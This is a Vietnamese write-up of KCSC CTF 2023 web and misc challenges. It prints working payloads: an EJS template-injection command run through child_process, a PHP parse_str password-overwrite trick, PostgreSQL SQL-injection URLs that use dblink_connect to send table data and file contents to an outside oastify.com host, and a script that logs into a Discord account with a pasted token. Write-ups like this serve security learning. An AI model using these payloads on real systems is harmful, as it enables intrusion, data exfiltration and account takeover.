+4

KCSC CTF 2023 WRITE UP

Mayfest2023

Web challenges

valentine (stolen)

BJmCWiHrh.png

Phân tích

Vào chall ta nhận được một form để tạo card cho valentine:

ryhzMsrr2.png

Nhập giá trị bất kỳ vào biến name và submit ta nhận được:

ryk9GjSr3.png

Trông khá quen thuộc với chall có trong giải hxp 2022 CTF.

Đi kèm với link vào chall ta có thêm link write up và file source code:

Sau khi đã đọc write up và làm theo y như write up thì...

Dĩ nhiên là không được rùi vì tác giả đã sửa source code:

S1ZbEjBBn.png

HyR7VoHH3.png

Tiếp tục search thì có vẻ chall này có liên quan đến CVE-2022-29078 lợi dụng view options của thư viện ejs. Nhưng CVE này chỉ hoạt động ở trước phiên bản ejs 3.1.7 còn phiên bản challenge sử dụng là 3.1.9:

SJ97UoBHn.png

Có vẻ không giòn, mình tiếp tục đọc write up chính của giải và thấy payload:

<.- global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() .>

Nhưng dấu - đã bị filter làm sao để sử dụng được payload này đây?

đọc lại source code thì mình thấy có đoạn replace này:

HJb3PoHr2.png

Khai thác

Ngon, thay <.- thành {{.> thành }} nên mình có payload cuối cùng:

{{ global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() }} {{ name }}

Submit payload trên và:

BkwnujBBn.png

Bypass Captcha

HypQKiBH3.png

Phân tích

Vào chall ta nhận được một form submit password:

BJePtiHr3.png

Đọc file source:

Byy12sSSn.png

Để có được flag thì verify captcha ($data->success) phải bằng 1 và thời gian từ lúc verify captcha đến lúc submit form phải nhỏ hơn 5 giây. Tiếp theo là password chúng ta nhập vào ($passwd) phải bằng với password được lưu trong server($PASSWD).

Đọc file config.php:

B1yL6sBBn.png

Ta thấy hàm parse_str($_SERVER['QUERY_STRING']);

$_SERVER['QUERY_STRING'] là một biến siêu toàn cục trong PHP chứa chuỗi truy vấn được gửi đến trang hiện tại. Hàm parse_str() trong PHP được sử dụng để phân tích chuỗi truy vấn (query string) thành các cặp giá trị khóa - giá trị.

Vậy là ta có thể dựa vào hàm parse_str() để ghi đè biến $PASSWD cho nó trùng với password mà chúng ta nhập.

Nhưng vấn đề là khi ta submit form bằng POST method thì phần QUERY_STRING trên URL sẽ không được gửi đi và server sẽ không khi đè được $PASSWD.

Khai thác

Để thực hiện được điều này thì ta có thể sửa thẳng attribute action trong form html thành action=index.php?PASSWD=123 sau đó verify và submit với $passwd=123

Và thế là:

BJGIg3SHn.png

Petshop

Sau khi kết thúc giải mình mới xin hint và solve chall này :<

Loại lỗ hổng trong chall là dựa vào hàm dblink_connect(text connname, text connstring) để khai thác SQLi Out of band PostgreSQL:

dblink_connect là một hàm được sử dụng để thiết lập một kết nối từ một cơ sở dữ liệu PostgreSQL đến một cơ sở dữ liệu khác trên cùng một hoặc một máy chủ PostgreSQL khác. Dblink_connect cho phép bạn thực hiện truy vấn hoặc truy cập dữ liệu từ các cơ sở dữ liệu khác nhau thông qua một kết nối từ xa.

connname: Tên định danh cho kết nối. Đây là một giá trị text và được sử dụng để đại diện cho kết nối trong các cuộc gọi hàm dblink khác. connstring: Chuỗi kết nối chứa các thông tin cần thiết để thiết lập kết nối đến cơ sở dữ liệu khác. Định dạng của chuỗi này phụ thuộc vào loại kết nối (VD: PostgreSQL, MySQL, Oracle).

Payload lấy tên table:

https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+tablename+from+pg_tables+limit+1)+,+'.222k7n44dimnpqudbnigx02ey54wsogd.oastify.com+user%3da+password%3da+'))--+-

Ngoài select tablename from pg_tables ta còn có thể dùng SELECT table_name FROM information_schema.tables WHERE table_schema = 'public'; hoặc SELECT relname, pg_size_pretty(pg_table_size(relid)) FROM pg_catalog.pg_stat_user_tables;

SJorhwPr3.png

Sau khi đã có tên bảng là searches ta tiếp tục tìm tên cột:

https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+column_name+from+information_schema.columns+where+table_name+%3d+'searches'+limit+1+offset+1)+,+'.3jnlool5uj3o6rbesozhe1jff6lx9qxf.oastify.com+user%3da+password%3da+'))--+-

Để lấy kết quả từ hàng những hàng tiếp theo trong kết quả truy vấn trong PostgreSQL, bạn có thể sử dụng cú pháp LIMIT và OFFSET. Cú pháp LIMIT được sử dụng để giới hạn số lượng hàng được trả về, và cú pháp OFFSET được sử dụng để chỉ định vị trí hàng muốn bỏ qua

H1ywRPDS3.png

rJfICPPrn.png

Sau khi đọc cột search ta thấy nó chứa một đường dẫn /var/lib/postgresql/data/sqlOutOfBand

Trong PostgreSQL có thể dùng pg_read_file() để đọc file và dùng pg_read_binary_file() để đọc file binary.

Đọc file binary trên với payload:

https://petshop.kcsc.tf/?sp=%27%20union%20SELECT%20NULL,%20dblink_connect(CONCAT(%27host=%27,(SELECT%20pg_read_binary_file%20(%27/var/lib/postgresql/data/sqlOutOfBand%27))%20,%20%27.7y6p3s099nislvqi7selt5yjua01oxcm.oastify.com%20user=a%20password=a%20%27))--%20-

B1F0fdPBn.png

Sau đó ASCII Hex Decode đoạn hex nhận được và ta có được flag:

rkBUmOPB3.png

Misc challenges

Git Gud

HJiIbnBBh.png

Phân tích

Download file về và giải nén ra ta có 2 file: .gitREADME.md

rJekz3BS2.png

Đọc file README.md thấy có 1 link youtube và link này để troll 😢

Tiếp tục đến file .git đọc file logs/HEAD ta thấy:

S1m0M3rSh.png

File được clone về bởi bquanman ✌️

Khai thác

Sử dụng lệnh git reset --hard HEAD^ để di chuyển HEAD đến commit cha

rkTvX2Brn.png

Tại commit cha thấy rằng file README.md đã được update, thử đọc xem sao:

rJp97nBB3.png

Vẫn chưa có thêm gì :<, tiếp tục chuyển HEAD về commit cha

Hk9C7nHBn.png

Thấy file ảnh rac.jpg bị xóa tại HEAD này, tiếp tục chuyển HEAD về để xem ảnh đó là ảnh gì:

HynvNhrB3.png

Mở ảnh đó lên và HEHE:

HJh44nHSn.jpg

Shackles

Sy2WS2rSh.png

Phân tích

Search justatree781 và ta nhận được một trang twitter của justatree781 có chứa 1 link đến gist: https://gist.github.com/truongangok

Đọc các file trong gist đó, nhưng không có gì 😢

Thoát khỏi chế độ view raw và mình đã thấy một đoạn hội thoại khá thú vị:

H1B5IhHH2.png

Khai thác

Bài này phải đến sau khi kết thúc giải, đi xin hint mình mới biết làm bước cuối

Đấy chính là add token Authorization vào cookie để đăng nhập vào discord của justatree781

Có thể chạy đoạn code này trong console log

function login(token) {
setInterval(() => {
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
}, 50);
setTimeout(() => {
location.reload();
}, 2500);
}

login('MTA0OTI2NDEwOTIxODE4NTI0Nw.GYYIn3.fO2pfn9HuvHhfV1IWnfbNzVh9ZSE75XhM5dnLs') // Paste token here

Hoặc sử dụng extension: https://chrome.google.com/webstore/detail/discord-token-login/ealjoeebhfijfimofmecjcjcigmadcai

Và flag chính là username của tài khoản đó.

HJe39sprr3.png

SkacyZoBh.png


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí